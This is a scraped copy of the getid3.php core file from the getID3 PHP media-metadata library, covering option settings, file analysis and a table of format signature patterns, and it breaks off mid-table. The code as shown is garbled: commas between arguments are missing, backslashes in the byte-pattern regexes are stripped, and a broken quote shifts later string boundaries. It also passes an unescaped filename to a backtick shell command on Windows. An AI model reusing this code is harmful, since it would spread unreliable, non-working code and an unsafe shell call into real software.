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Файл: test.masteram.us/audio/getid3/getid3.php
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<?php
/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at http://getid3.sourceforge.net                 //
//            or http://www.getid3.org                         //
/////////////////////////////////////////////////////////////////
//                                                             //
// Please see readme.txt for more information                  //
//                                                            ///
/////////////////////////////////////////////////////////////////
error_reporting(0);
// Defines
define('GETID3_VERSION''1.7.9-20090308');
define('GETID3_FREAD_BUFFER_SIZE'16384); // read buffer size in bytes
define('GETID3_OS_ISWINDOWS'false);


class 
getID3
{
    
// public: Settings
    
var $encoding        'UTF-8';   // CASE SENSITIVE! - i.e. (must be supported by iconv())
                                           // Examples:  ISO-8859-1  UTF-8  UTF-16  UTF-16BE

    
var $tempdir         '*';            // default '*' should use system temp dir

    // public: Optional tag checks - disable for speed.
    
var $option_tag_id3v1         true;  // Read and process ID3v1 tags
    
var $option_tag_id3v2         true;  // Read and process ID3v2 tags
    
var $option_tag_lyrics3       false;  // Read and process Lyrics3 tags
    
var $option_tag_apetag        false;  // Read and process APE tags
    
var $option_tags_process      true;  // Copy tags to root key 'tags' and encode to $this->encoding
    
var $option_tags_html         false;  // Copy tags to root key 'tags_html' properly translated from various encodings to HTML entities

    // public: Optional tag/comment calucations
    
var $option_extra_info        false;  // Calculate additional info such as bitrate, channelmode etc

    // public: Optional calculations
    
var $option_md5_data          false// Get MD5 sum of data part - slow
    
var $option_md5_data_source   false// Use MD5 of source file if availble - only FLAC and OptimFROG
    
var $option_sha1_data         false// Get SHA1 sum of data part - slow
    
var $option_max_2gb_check     true;  // Check whether file is larger than 2 Gb and thus not supported by PHP

    // private
    
var $filename;


    
// public: constructor
    
function getID3()
    {

        
$this->startup_error   '';
        
$this->startup_warning '';

        
// Check for PHP version >= 4.2.0
        
if (phpversion() < '4.2.0') {
            
$this->startup_error .= 'getID3() requires PHP v4.2.0 or higher - you are running v'.phpversion();
        }

        
// Check memory
        
$memory_limit ini_get('memory_limit');
        if (
eregi('([0-9]+)M'$memory_limit$matches)) {
            
// could be stored as "16M" rather than 16777216 for example
            
$memory_limit $matches[1] * 1048576;
        }
        if (
$memory_limit <= 0) {
            
// memory limits probably disabled
        
} elseif ($memory_limit <= 3145728) {
            
$this->startup_error .= 'PHP has less than 3MB available memory and will very likely run out. Increase memory_limit in php.ini';
        } elseif (
$memory_limit <= 12582912) {
            
$this->startup_warning .= 'PHP has less than 12MB available memory and might run out if all modules are loaded. Increase memory_limit in php.ini';
        }

        
// Check safe_mode off
        
if ((bool) ini_get('safe_mode')) {
            
$this->warning('WARNING: Safe mode is on, shorten support disabled, md5data/sha1data for ogg vorbis disabled, ogg vorbos/flac tag writing disabled.');
        }


        
// define a constant rather than looking up every time it is needed
        
if (!defined('GETID3_OS_ISWINDOWS')) {
            if (
strtoupper(substr(PHP_OS03)) == 'WIN') {
                
define('GETID3_OS_ISWINDOWS'true);
            } else {
                
define('GETID3_OS_ISWINDOWS'false);
            }
        }

        
// Get base path of getID3() - ONCE
        
if (!defined('GETID3_INCLUDEPATH')) {
            foreach (
get_included_files() as $key => $val) {
                if (
basename($val) == 'getid3.php') {
                    
define('GETID3_INCLUDEPATH'dirname($val).DIRECTORY_SEPARATOR);
                    break;
                }
            }
        }

        
// Load support library
        
if (!include_once(GETID3_INCLUDEPATH.'getid3.lib.php')) {
            
$this->startup_error .= 'getid3.lib.php is missing or corrupt';
        }


        
// Needed for Windows only:
        // Define locations of helper applications for Shorten, VorbisComment, MetaFLAC
        //   as well as other helper functions such as head, tail, md5sum, etc
        // IMPORTANT: This path cannot have spaces in it. If neccesary, use the 8dot3 equivalent
        //   ie for "C:/Program Files/Apache/" put "C:/PROGRA~1/APACHE/"
        // IMPORTANT: This path must include the trailing slash
        
if (GETID3_OS_ISWINDOWS && !defined('GETID3_HELPERAPPSDIR')) {

            
$helperappsdir GETID3_INCLUDEPATH.'..'.DIRECTORY_SEPARATOR.'helperapps'// must not have any space in this path

            
if (!is_dir($helperappsdir)) {
                
$this->startup_error .= '"'.$helperappsdir.'" cannot be defined as GETID3_HELPERAPPSDIR because it does not exist';
            } elseif (
strpos(realpath($helperappsdir), ' ') !== false) {
                
$DirPieces explode(DIRECTORY_SEPARATORrealpath($helperappsdir));
                foreach (
$DirPieces as $key => $value) {
                    if ((
strpos($value'.') !== false) && (strpos($value' ') === false)) {
                        if (
strpos($value'.') > 8) {
                            
$value substr($value06).'~1';
                        }
                    } elseif ((
strpos($value' ') !== false) || strlen($value) > 8) {
                        
$value substr($value06).'~1';
                    }
                    
$DirPieces[$key] = strtoupper($value);
                }
                
$this->startup_error .= 'GETID3_HELPERAPPSDIR must not have any spaces in it - use 8dot3 naming convention if neccesary (on this server that would be something like "'.implode(DIRECTORY_SEPARATOR$DirPieces).'" - NOTE: this may or may not be the actual 8.3 equivalent of "'.$helperappsdir.'", please double-check). You can run "dir /x" from the commandline to see the correct 8.3-style names.';
            }
            
define('GETID3_HELPERAPPSDIR'realpath($helperappsdir).DIRECTORY_SEPARATOR);
        }

    }


    
// public: setOption
    
function setOption($optArray) {
        if (!
is_array($optArray) || empty($optArray)) {
            return 
false;
        }
        foreach (
$optArray as $opt => $val) {
            
//if (isset($this, $opt) === false) {
            
if (isset($this->$opt) === false) {
                continue;
            }
            
$this->$opt $val;
        }
        return 
true;
    }


    
// public: analyze file - replaces GetAllFileInfo() and GetTagOnly()
    
function analyze($filename) {

        if (!empty(
$this->startup_error)) {
            return 
$this->error($this->startup_error);
        }
        if (!empty(
$this->startup_warning)) {
            
$this->warning($this->startup_warning);
        }

        
// init result array and set parameters
        
$this->info = array();
        
$this->info['GETID3_VERSION'] = GETID3_VERSION;

        
// Check encoding/iconv support
        
if (!function_exists('iconv') && !in_array($this->encoding, array('ISO-8859-1''UTF-8''UTF-16LE''UTF-16BE''UTF-16''cp1251'))) {
            
$errormessage 'iconv() support is needed for encodings other than ISO-8859-1, UTF-8, UTF-16LE, UTF16-BE, UTF-16. ';
            if (
GETID3_OS_ISWINDOWS) {
                
$errormessage .= 'PHP does not have iconv() support. Please enable php_iconv.dll in php.ini, and copy iconv.dll from c:/php/dlls to c:/windows/system32';
            } else {
                
$errormessage .= 'PHP is not compiled with iconv() support. Please recompile with the --with-iconv switch';
            }
            return 
$this->error($errormessage);
        }

        
// Disable magic_quotes_runtime, if neccesary
        
$old_magic_quotes_runtime get_magic_quotes_runtime(); // store current setting of magic_quotes_runtime
        
if ($old_magic_quotes_runtime) {
            
set_magic_quotes_runtime(0);                        // turn off magic_quotes_runtime
            
if (get_magic_quotes_runtime()) {
                return 
$this->error('Could not disable magic_quotes_runtime - getID3() cannot work properly with this setting enabled');
            }
        }

        
// remote files not supported
        
if (preg_match('/^(ht|f)tp:///'$filename)) {
            return 
$this->error('Remote files are not supported in this version of getID3() - please copy the file locally first');
        }

        
$filename str_replace('/'DIRECTORY_SEPARATOR$filename);
        
$filename preg_replace('#'.preg_quote(DIRECTORY_SEPARATOR).'{2,}#'DIRECTORY_SEPARATOR$filename);

        
// open local file
        
if (file_exists($filename) && ($fp = @fopen($filename'rb'))) {
            
// great
        
} else {
            return 
$this->error('Could not open file "'.$filename.'"');
        }

        
// set parameters
        
$this->info['filesize'] = filesize($filename);

        
// option_max_2gb_check
        
if ($this->option_max_2gb_check) {
            
// PHP doesn't support integers larger than 31-bit (~2GB)
            // filesize() simply returns (filesize % (pow(2, 32)), no matter the actual filesize
            // ftell() returns 0 if seeking to the end is beyond the range of unsigned integer
            
fseek($fp0SEEK_END);
            if (((
$this->info['filesize'] != 0) && (ftell($fp) == 0)) ||
                (
$this->info['filesize'] < 0) ||
                (
ftell($fp) < 0)) {
                    
$real_filesize false;
                    if (
GETID3_OS_ISWINDOWS) {
                        
$commandline 'dir /-C "'.str_replace('/'DIRECTORY_SEPARATOR$filename).'"';
                        
$dir_output = `$commandline`;
                        if (
eregi('1 File(s)[ ]+([0-9]+) bytes'$dir_output$matches)) {
                            
$real_filesize = (float) $matches[1];
                        }
                    } else {
                        
$commandline 'ls -o -g -G --time-style=long-iso '.escapeshellarg($filename);
                        
$dir_output = `$commandline`;
                        if (
eregi('([0-9]+) ([0-9]{4}-[0-9]{2}-[0-9]{2} [0-9]{2}:[0-9]{2}) '.preg_quote($filename).'$'$dir_output$matches)) {
                            
$real_filesize = (float) $matches[1];
                        }
                    }
                    if (
$real_filesize === false) {
                        unset(
$this->info['filesize']);
                        
fclose($fp);
                        return 
$this->error('File is most likely larger than 2GB and is not supported by PHP');
                    } elseif (
$real_filesize pow(231)) {
                        unset(
$this->info['filesize']);
                        
fclose($fp);
                        return 
$this->error('PHP seems to think the file is larger than 2GB, but filesystem reports it as '.number_format($real_filesize3).'GB, please report to info@getid3.org');
                    }
                    
$this->info['filesize'] = $real_filesize;
                    
$this->error('File is larger than 2GB (filesystem reports it as '.number_format($real_filesize3).'GB) and is not properly supported by PHP.');
            }
        }

        
// set more parameters
        
$this->info['avdataoffset']        = 0;
        
$this->info['avdataend']           = $this->info['filesize'];
        
$this->info['fileformat']          = '';                // filled in later
        
$this->info['audio']['dataformat'] = '';                // filled in later, unset if not used
        
$this->info['video']['dataformat'] = '';                // filled in later, unset if not used
        
$this->info['tags']                = array();           // filled in later, unset if not used
        
$this->info['error']               = array();           // filled in later, unset if not used
        
$this->info['warning']             = array();           // filled in later, unset if not used
        
$this->info['comments']            = array();           // filled in later, unset if not used
        
$this->info['encoding']            = $this->encoding;   // required by id3v2 and iso modules - can be unset at the end if desired

        // set redundant parameters - might be needed in some include file
        
$this->info['filename']            = basename($filename);
        
$this->info['filepath']            = str_replace('\', '/', realpath(dirname($filename)));
        $this->info['
filenamepath']        = $this->info['filepath'].'/'.$this->info['filename'];


        // handle ID3v2 tag - done first - already at beginning of file
        // ID3v2 detection (even if not parsing) is always done otherwise fileformat is much harder to detect
        if ($this->option_tag_id3v2) {

            $GETID3_ERRORARRAY = &$this->info['
warning'];
            if (getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'
module.tag.id3v2.php', __FILE__, false)) {
                $tag = new getid3_id3v2($fp, $this->info);
                unset($tag);
            }

        } else {

            fseek($fp, 0, SEEK_SET);
            $header = fread($fp, 10);
            if (substr($header, 0, 3) == '
ID3'  &&  strlen($header) == 10) {
                $this->info['
id3v2']['header']           = true;
                $this->info['
id3v2']['majorversion']     = ord($header{3});
                $this->info['
id3v2']['minorversion']     = ord($header{4});
                $this->info['
id3v2']['headerlength']     = getid3_lib::BigEndian2Int(substr($header, 6, 4), 1) + 10; // length of ID3v2 tag in 10-byte header doesn'include 10-byte header length

                $this
->info['id3v2']['tag_offset_start'] = 0;
                
$this->info['id3v2']['tag_offset_end']   = $this->info['id3v2']['tag_offset_start'] + $this->info['id3v2']['headerlength'];
                
$this->info['avdataoffset']              = $this->info['id3v2']['tag_offset_end'];
            }

        }


        
// handle ID3v1 tag
        
if ($this->option_tag_id3v1) {
            if (!@include_once(
GETID3_INCLUDEPATH.'module.tag.id3v1.php')) {
                return 
$this->error('module.tag.id3v1.php is missing - you may disable option_tag_id3v1.');
            }
            
$tag = new getid3_id3v1($fp$this->info);
            unset(
$tag);
        }

        
// handle APE tag
        
if ($this->option_tag_apetag) {
            if (!@include_once(
GETID3_INCLUDEPATH.'module.tag.apetag.php')) {
                return 
$this->error('module.tag.apetag.php is missing - you may disable option_tag_apetag.');
            }
            
$tag = new getid3_apetag($fp$this->info);
            unset(
$tag);
        }

        
// handle lyrics3 tag
        
if ($this->option_tag_lyrics3) {
            if (!@include_once(
GETID3_INCLUDEPATH.'module.tag.lyrics3.php')) {
                return 
$this->error('module.tag.lyrics3.php is missing - you may disable option_tag_lyrics3.');
            }
            
$tag = new getid3_lyrics3($fp$this->info);
            unset(
$tag);
        }

        
// read 32 kb file data
        
fseek($fp$this->info['avdataoffset'], SEEK_SET);
        
$formattest fread($fp32774);

        
// determine format
        
$determined_format $this->GetFileFormat($formattest$filename);

        
// unable to determine file format
        
if (!$determined_format) {
            
fclose($fp);
            return 
$this->error('unable to determine file format');
        }

        
// check for illegal ID3 tags
        
if (isset($determined_format['fail_id3']) && (in_array('id3v1'$this->info['tags']) || in_array('id3v2'$this->info['tags']))) {
            if (
$determined_format['fail_id3'] === 'ERROR') {
                
fclose($fp);
                return 
$this->error('ID3 tags not allowed on this file type.');
            } elseif (
$determined_format['fail_id3'] === 'WARNING') {
                
$this->info['warning'][] = 'ID3 tags not allowed on this file type.';
            }
        }

        
// check for illegal APE tags
        
if (isset($determined_format['fail_ape']) && in_array('ape'$this->info['tags'])) {
            if (
$determined_format['fail_ape'] === 'ERROR') {
                
fclose($fp);
                return 
$this->error('APE tags not allowed on this file type.');
            } elseif (
$determined_format['fail_ape'] === 'WARNING') {
                
$this->info['warning'][] = 'APE tags not allowed on this file type.';
            }
        }

        
// set mime type
        
$this->info['mime_type'] = $determined_format['mime_type'];

        
// supported format signature pattern detected, but module deleted
        
if (!file_exists(GETID3_INCLUDEPATH.$determined_format['include'])) {
            
fclose($fp);
            return 
$this->error('Format not supported, module "'.$determined_format['include'].'" was removed.');
        }

        
// module requires iconv support
        
if (!function_exists('iconv') && @$determined_format['iconv_req']) {
            return 
$this->error('iconv support is required for this module ('.$determined_format['include'].').');
        }

        
// include module
        
include_once(GETID3_INCLUDEPATH.$determined_format['include']);

        
// instantiate module class
        
$class_name 'getid3_'.$determined_format['module'];
        if (!
class_exists($class_name)) {
            return 
$this->error('Format not supported, module "'.$determined_format['include'].'" is corrupt.');
        }
        if (isset(
$determined_format['option'])) {
            
$class = new $class_name($fp$this->info$determined_format['option']);
        } else {
            
$class = new $class_name($fp$this->info);
        }
        unset(
$class);

        
// close file
        
fclose($fp);

        
// process all tags - copy to 'tags' and convert charsets
        
if ($this->option_tags_process) {
            
$this->HandleAllTags();
        }

        
// perform more calculations
        
if ($this->option_extra_info) {
            
$this->ChannelsBitratePlaytimeCalculations();
            
$this->CalculateCompressionRatioVideo();
            
$this->CalculateCompressionRatioAudio();
            
$this->CalculateReplayGain();
            
$this->ProcessAudioStreams();
        }

        
// get the MD5 sum of the audio/video portion of the file - without ID3/APE/Lyrics3/etc header/footer tags
        
if ($this->option_md5_data) {
            
// do not cald md5_data if md5_data_source is present - set by flac only - future MPC/SV8 too
            
if (!$this->option_md5_data_source || empty($this->info['md5_data_source'])) {
                
$this->getHashdata('md5');
            }
        }

        
// get the SHA1 sum of the audio/video portion of the file - without ID3/APE/Lyrics3/etc header/footer tags
        
if ($this->option_sha1_data) {
            
$this->getHashdata('sha1');
        }

        
// remove undesired keys
        
$this->CleanUp();

        
// restore magic_quotes_runtime setting
        
set_magic_quotes_runtime($old_magic_quotes_runtime);

        
// return info array
        
return $this->info;
    }


    
// private: error handling
    
function error($message) {

        
$this->CleanUp();

        
$this->info['error'][] = $message;
        return 
$this->info;
    }


    
// private: warning handling
    
function warning($message) {
        
$this->info['warning'][] = $message;
        return 
true;
    }


    
// private: CleanUp
    
function CleanUp() {

        
// remove possible empty keys
        
$AVpossibleEmptyKeys = array('dataformat''bits_per_sample''encoder_options''streams''bitrate');
        foreach (
$AVpossibleEmptyKeys as $dummy => $key) {
            if (empty(
$this->info['audio'][$key]) && isset($this->info['audio'][$key])) {
                unset(
$this->info['audio'][$key]);
            }
            if (empty(
$this->info['video'][$key]) && isset($this->info['video'][$key])) {
                unset(
$this->info['video'][$key]);
            }
        }

        
// remove empty root keys
        
if (!empty($this->info)) {
            foreach (
$this->info as $key => $value) {
                if (empty(
$this->info[$key]) && ($this->info[$key] !== 0) && ($this->info[$key] !== '0')) {
                    unset(
$this->info[$key]);
                }
            }
        }

        
// remove meaningless entries from unknown-format files
        
if (empty($this->info['fileformat'])) {
            if (isset(
$this->info['avdataoffset'])) {
                unset(
$this->info['avdataoffset']);
            }
            if (isset(
$this->info['avdataend'])) {
                unset(
$this->info['avdataend']);
            }
        }
    }


    
// return array containing information about all supported formats
    
function GetFileFormatArray() {
        static 
$format_info = array();
        if (empty(
$format_info)) {
            
$format_info = array(

                
// Audio formats

                // AC-3   - audio      - Dolby AC-3 / Dolby Digital
                
'ac3'  => array(
                            
'pattern'   => '^x0Bx77',
                            
'group'     => 'audio',
                            
'module'    => 'ac3',
                            
'mime_type' => 'audio/ac3',
                        ),

                
// AAC  - audio       - Advanced Audio Coding (AAC) - ADIF format
                
'adif' => array(
                            
'pattern'   => '^ADIF',
                            
'group'     => 'audio',
                            
'module'    => 'aac',
                            
'option'    => 'adif',
                            
'mime_type' => 'application/octet-stream',
                            
'fail_ape'  => 'WARNING',
                        ),


                
// AAC  - audio       - Advanced Audio Coding (AAC) - ADTS format (very similar to MP3)
                
'adts' => array(
                            
'pattern'   => '^xFF[xF0-xF1xF8-xF9]',
                            
'group'     => 'audio',
                            
'module'    => 'aac',
                            
'option'    => 'adts',
                            
'mime_type' => 'application/octet-stream',
                            
'fail_ape'  => 'WARNING',
                        ),


                
// AU   - audio       - NeXT/Sun AUdio (AU)
                
'au'   => array(
                            
'pattern'   => '^.snd',
                            
'group'     => 'audio',
                            
'module'    => 'au',
                            
'mime_type' => 'audio/basic',
                        ),

                
// AVR  - audio       - Audio Visual Research
                
'avr'  => array(
                            
'pattern'   => '^2BIT',
                            
'group'     => 'audio',
                            
'module'    => 'avr',
                            
'mime_type' => 'application/octet-stream',
                        ),

                
// BONK - audio       - Bonk v0.9+
                
'bonk' => array(
                            
'pattern'   => '^x00(BONK|INFO|META| ID3)',
                            
'group'     => 'audio',
                            
'module'    => 'bonk',
                            
'mime_type' => 'audio/xmms-bonk',
                        ),

                
// DSS  - audio       - Digital Speech Standard
                
'dss'  => array(
                            
'pattern'   => '^[x02]dss',
                            
'group'     => 'audio',
                            
'module'    => 'dss',
                            
'mime_type' => 'application/octet-stream',
                        ),

                
// DTS  - audio       - Dolby Theatre System
                
'dts'  => array(
                            
'pattern'   => '^x7FxFEx80x01',
                            
'group'     => 'audio',
                            
'module'    => 'dts',
                            
'mime_type' => 'audio/dts',
                        ),

                
// FLAC - audio       - Free Lossless Audio Codec
                
'flac' => array(
                            
'pattern'   => '^fLaC',
                            
'group'     => 'audio',
                            
'module'    => 'flac',
                            
'mime_type' => 'audio/x-flac',
                        ),

                
// LA   - audio       - Lossless Audio (LA)
                
'la'   => array(
                            
'pattern'   => '^LA0[2-4]',
                            
'group'     => 'audio',
                            
'module'    => 'la',
                            
'mime_type' => 'application/octet-stream',
                        ),

                
// LPAC - audio       - Lossless Predictive Audio Compression (LPAC)
                
'lpac' => array(
                            
'pattern'   => '^LPAC',
                            
'group'     => 'audio',
                            
'module'    => 'lpac',
                            
'mime_type' => 'application/octet-stream',
                        ),

                
// MIDI - audio       - MIDI (Musical Instrument Digital Interface)
                
'midi' => array(
                            
'pattern'   => '^MThd',
                            
'group'     => 'audio',
                            
'module'    => 'midi',
                            
'mime_type' => 'audio/midi',
                        ),

                
// MAC  - audio       - Monkey's Audio Compressor
                
'mac'  => array(
                            
'pattern'   => '^MAC ',
                            
'group'     => 'audio',
                            
'module'    => 'monkey',
                            
'mime_type' => 'application/octet-stream',
                        ),

// has been known to produce false matches in random files (e.g. JPEGs), leave out until more precise matching available
//                // MOD  - audio       - MODule (assorted sub-formats)
//                'mod'  => array(
//                            'pattern'   => '^.{1080}(M\.K\.|M!K!|FLT4|FLT8|[5-9]CHN|[1-3][0-9]CH)',
//                            'group'     => 'audio',
//                            'module'    => 'mod',
//                            'option'    => 'mod',
//                            'mime_type' => 'audio/mod',
//                        ),

                // MOD  - audio       - MODule (Impulse Tracker)
                
'it'   => array(
                            
'pattern'   => '^IMPM',
                            
'group'     => 'audio',
                            
'module'    => 'mod',
                            
'option'    => 'it',
                            
'mime_type' => 'audio/it',
                        ),

                
// MOD  - audio       - MODule (eXtended Module, various sub-formats)
                
'xm'   => array(
                            
'pattern'   => '^Extended Module',
                            
'group'     => 'audio',
                            
'module'    => 'mod',
                            
'option'    => 'xm',
                            
'mime_type' => 'audio/xm',
                        ),

                
// MOD  - audio       - MODule (ScreamTracker)
                
's3m'  => array(
                            
'pattern'   => '^.{44}SCRM',
                            
'group'     => 'audio',
                            
'module'    => 'mod',
                            
'option'    => 's3m',
                            
'mime_type' => 'audio/s3m',
                        ),

                
// MPC  - audio       - Musepack / MPEGplus
                
'mpc'  => array(
                            
'pattern'   => '^(MPCK|MP+|[x00x01x10x11x40x41x50x51x80x81x90x91xC0xC1xD0xD1][x20-37][x00x20x40x60x80xA0xC0xE0])',
                            
'group'     => 'audio',
                            
'module'    => 'mpc',
                            
'mime_type' => 'audio/x-musepack',
                        ),

                
// MP3  - audio       - MPEG-audio Layer 3 (very similar to AAC-ADTS)
                
'mp3'  => array(
                            
'pattern'   => '^xFF[xE2-xE7xF2-xF7xFA-xFF][x00-xEB]',
                            
'group'     => 'audio',
                            
'module'    => 'mp3',
                            
'mime_type' => 'audio/mpeg',
                        ),

                
// OFR  - audio       - OptimFROG
                
'ofr'  => array(
                            
'pattern'   => '^(*RIFF|OFR)',
                            
'group'     => 'audio',
                            
'module'    => 'optimfrog',
                            
'mime_type' => 'application/octet-stream',
                        ),

                
// RKAU - audio       - RKive AUdio compressor
                
'rkau' => array(
                            
'pattern'   => '^RKA',
                            
'group'     => 'audio',
                            
'module'    => 'rkau',
                            
'mime_type' => 'application/octet-stream',
                        ),

                
// SHN  - audio       - Shorten
                
'shn'  => array(
                            
'pattern'   => '^ajkg',
                            
'group'     => 'audio',
                            
'module'    => 'shorten',
                            
'mime_type' => 'audio/xmms-shn',
                            
'fail_id3'  => 'ERROR',
                            
'fail_ape'  => 'ERROR',
                        ),

                
// TTA  - audio       - TTA Lossless Audio Compressor (http://tta.corecodec.org)
                
'tta'  => array(
                            
'pattern'   => '^TTA',  // could also be '^TTA(x01|x02|x03|2|1)'
                            
'group'     => 'audio',
                            
'module'    => 'tta',
                            
'mime_type' => 'application/octet-stream',
                        ),

                
// VOC  - audio       - Creative Voice (VOC)
                
'voc'  => array(
                            
'pattern'   => '^Creative Voice File',
                            
'group'     => 'audio',
                            
'module'    => 'voc',
                            
'mime_type' => 'audio/voc',
                        ),

                
// VQF  - audio       - transform-domain weighted interleave Vector Quantization Format (VQF)
                
'vqf'  => array(
                            
'pattern'   => '^TWIN',
                            
'group'     => 'audio',
                            
'module'    => 'vqf',
                            
'mime_type' => 'application/octet-stream',
                        ),

                
// WV  - audio        - WavPack (v4.0+)
                
'wv'   => array(
                            
'pattern'   => '^wvpk',
                            
'group'     => 'audio',
                            
'module'    => 'wavpack',
                            
'mime_type' => 'application/octet-stream',
                        ),


                
// Audio-Video formats

                // ASF  - audio/video - Advanced Streaming Format, Windows Media Video, Windows Media Audio
                
'asf'  => array(
                            
'pattern'   => '^x30x26xB2x75x8Ex66xCFx11xA6xD9x00xAAx00x62xCEx6C',
                            
'group'     => 'audio-video',
                            
'module'    => 'asf',
                            
'mime_type' => 'video/x-ms-asf',
                            
'iconv_req' => false,
                        ),

                
// BINK - audio/video - Bink / Smacker
                
'bink' => array(
                            
'pattern'   => '^(BIK|SMK)',
                            
'group'     => 'audio-video',
                            
'module'    => 'bink',
                            
'mime_type' => 'application/octet-stream',
                        ),

                
// FLV  - audio/video - FLash Video
                
'flv' => array(
                            
'pattern'   => '^FLVx01',
                            
'group'     => 'audio-video',
                            
'module'    => 'flv',
                            
'mime_type' => 'video/x-flv',
                        ),

                
// MKAV - audio/video - Mastroka
                
'matroska' => array(
                            
'pattern'   => '^x1Ax45xDFxA3',
                            
'group'     => 'audio-video',
                            
'module'    => 'matroska',
                            
'mime_type' => 'video/x-matroska'// may also be audio/x-matroska
                        
),

                
// MPEG - audio/video - MPEG (Moving Pictures Experts Group)
                
'mpeg' => array(
                            
'pattern'   => '^x00x00x01(xBA|xB3)',
                            
'group'     => 'audio-video',
                            
'module'    => 'mpeg',
                            
'mime_type' => 'video/mpeg',
                        ),

                
// NSV  - audio/video - Nullsoft Streaming Video (NSV)
                
'nsv'  => array(
                            
'pattern'   => '^NSV[sf]',
                            
'group'     => 'audio-video',
                            
'module'    => 'nsv',
                            
'mime_type' => 'application/octet-stream',
                        ),

                
// Ogg  - audio/video - Ogg (Ogg-Vorbis, Ogg-FLAC, Speex, Ogg-Theora(*), Ogg-Tarkin(*))
                
'ogg'  => array(
                            
'pattern'   => '^OggS',
                            
'group'     => 'audio',
                            
'module'    => 'ogg',
                            
'mime_type' => 'application/ogg',
                            
'fail_id3'  => 'WARNING',
                            
'fail_ape'  => 'WARNING',
                        ),

                
// QT   - audio/video - Quicktime
                
'quicktime' => array(
                            
'pattern'   => '^.{4}(cmov|free|ftyp|mdat|moov|pnot|skip|wide)',
                            
'group'     => 'audio-video',
                            
'module'    => 'quicktime',
                            
'mime_type' => 'video/quicktime',
                        ),

                
// RIFF - audio/video - Resource Interchange File Format (RIFF) / WAV / AVI / CD-audio / SDSS = renamed variant used by SmartSound QuickTracks (www.smartsound.com) / FORM = Audio Interchange File Format (AIFF)
                
'riff' => array(
                            
'pattern'   => '^(RIFF|SDSS|FORM)',
                            
'group'     => 'audio-video',
                            
'module'    => 'riff',
                            
'mime_type' => 'audio/x-wave',
                            
'fail_ape'  => 'WARNING',
                        ),

                
// Real - audio/video - RealAudio, RealVideo
                
'real' => array(
                            
'pattern'   => '^(\.RMF|\.ra)',
                            
'group'     => 'audio-video',
                            
'module'    => 'real',
                            
'mime_type' => 'audio/x-realaudio',
                        ),

                
// SWF - audio/video - ShockWave Flash
                
'swf' => array(
                            
'pattern'   => '^(F|C)WS',
                            
'group'     => 'audio-video',
                            
'module'    => 'swf',
                            
'mime_type' => 'application/x-shockwave-flash',
                        ),


                
// Still-Image formats

                // BMP  - still image - Bitmap (Windows, OS/2; uncompressed, RLE8, RLE4)
                
'bmp'  => array(
                            
'pattern'   => '^BM',
                            
'group'     => 'graphic',
                            
'module'    => 'bmp',
                            
'mime_type' => 'image/bmp',
                            
'fail_id3'  => 'ERROR',
                            
'fail_ape'  => 'ERROR',
                        ),

                
// GIF  - still image - Graphics Interchange Format
                
'gif'  => array(
                            
'pattern'   => '^GIF',
                            
'group'     => 'graphic',
                            
'module'    => 'gif',
                            
'mime_type' => 'image/gif',
                            
'fail_id3'  => 'ERROR',
                            
'fail_ape'  => 'ERROR',
                        ),

                
// JPEG - still image - Joint Photographic Experts Group (JPEG)
                
'jpg'  => array(
                            
'pattern'   => '^xFFxD8xFF',
                            
'group'     => 'graphic',
                            
'module'    => 'jpg',
                            
'mime_type' => 'image/jpeg',
                            
'fail_id3'  => 'ERROR',
                            
'fail_ape'  => 'ERROR',
                        ),

                
// PCD  - still image - Kodak Photo CD
                
'pcd'  => array(
                            
'pattern'   => '^.{2048}PCD_IPIx00',
                            
'group'     => 'graphic',
                            
'module'    => 'pcd',
                            
'mime_type' => 'image/x-photo-cd',
                            
'fail_id3'  => 'ERROR',
                            
'fail_ape'  => 'ERROR',
                        ),


                
// PNG  - still image - Portable Network Graphics (PNG)
                
'png'  => array(
                            
'pattern'   => '^x89x50x4Ex47x0Dx0Ax1Ax0A',
                            
'group'     => 'graphic',
                            
'module'    => 'png',
                            
'mime_type' => 'image/png',
                            
'fail_id3'  => 'ERROR',
                            
'fail_ape'  => 'ERROR',
                        ),


                
// SVG  - still image - Scalable Vector Graphics (SVG)
                
'svg'  => array(
                            
'pattern'   => '<!DOCTYPE svg PUBLIC ',
                            
'group'     => 'graphic',
                            
'module'    => 'svg',
                            
'mime_type' => 'image/svg+xml',
                            
'fail_id3'  => 'ERROR',
                            
'fail_ape'  => 'ERROR',
                        ),


                
// TIFF  - still image - Tagged Information File Format (TIFF)
                
'tiff' => array(
                            
'pattern'   => '^(IIx2Ax00|MMx00x2A)',
                            
'group'     => 'graphic',
                            
'module'    => 'tiff',
                            
'mime_type' => 'image/tiff',
                            
'fail_id3'  => 'ERROR',
                            
'fail_ape'  => 'ERROR',
                        ),


                
// Data formats

                // ISO  - data        - International Standards Organization (ISO) CD-ROM Image
                
'iso'  => array(
                            
'pattern'   => '^.{32769}CD001',
                            
'group'     => 'misc',
                            
'module'    => 'iso',
                            
'mime_type' => 'application/octet-stream',
                            
'fail_id3'  => 'ERROR',
                            
'fail_ape'  => 'ERROR',
                            
'iconv_req' => false,
                        ),

                
// RAR  - data        - RAR compressed data
                
'rar'  => array(
                            
'pattern'   => '^Rar!',
                            
'group'     => 'archive',
                            
'module'    => 'rar',
                            
'mime_type' => 'application/octet-stream',
                            
'fail_id3'  => 'ERROR',
                            
'fail_ape'  => 'ERROR',
                        ),

                
// SZIP - audio/data  - SZIP compressed data
                
'szip' => array(
                            
'pattern'   => '^SZx0Ax04',
                            
'group'     => 'archive',
                            
'module'    => 'szip',
                            
'mime_type' => 'application/octet-stream',
                            
'fail_id3'  => 'ERROR',
                            
'fail_ape'  => 'ERROR',
                        ),

                
// TAR  - data        - TAR compressed data
                
'tar'  => array(
                            
'pattern'   => '^.{100}[0-9x20]{7}x00[0-9x20]{7}x00[0-9x20]{7}x00[0-9x20x00]{12}[0-9x20x00]{12}',
                            
'group'     => 'archive',
                            
'module'    => 'tar',
                            
'mime_type' => 'application/x-tar',
                            
'fail_id3'  => 'ERROR',
                            
'fail_ape'  => 'ERROR',
                        ),

                
// GZIP  - data        - GZIP compressed data
                
'gz'  => array(
                            
'pattern'   => '^x1Fx8Bx08',
                            
'group'     => 'archive',
                            
'module'    => 'gzip',
                            
'mime_type' => 'application/x-gzip',
                            
'fail_id3'  => 'ERROR',
                            
'fail_ape'  => 'ERROR',
                        ),

                
// ZIP  - data         - ZIP compressed data
                
'zip'  => array(
                            
'pattern'   => '^PKx03x04',
                            
'group'     => 'archive',
                            
'module'    => 'zip',
                            
'mime_type' => 'application/zip',
                            
'fail_id3'  => 'ERROR',
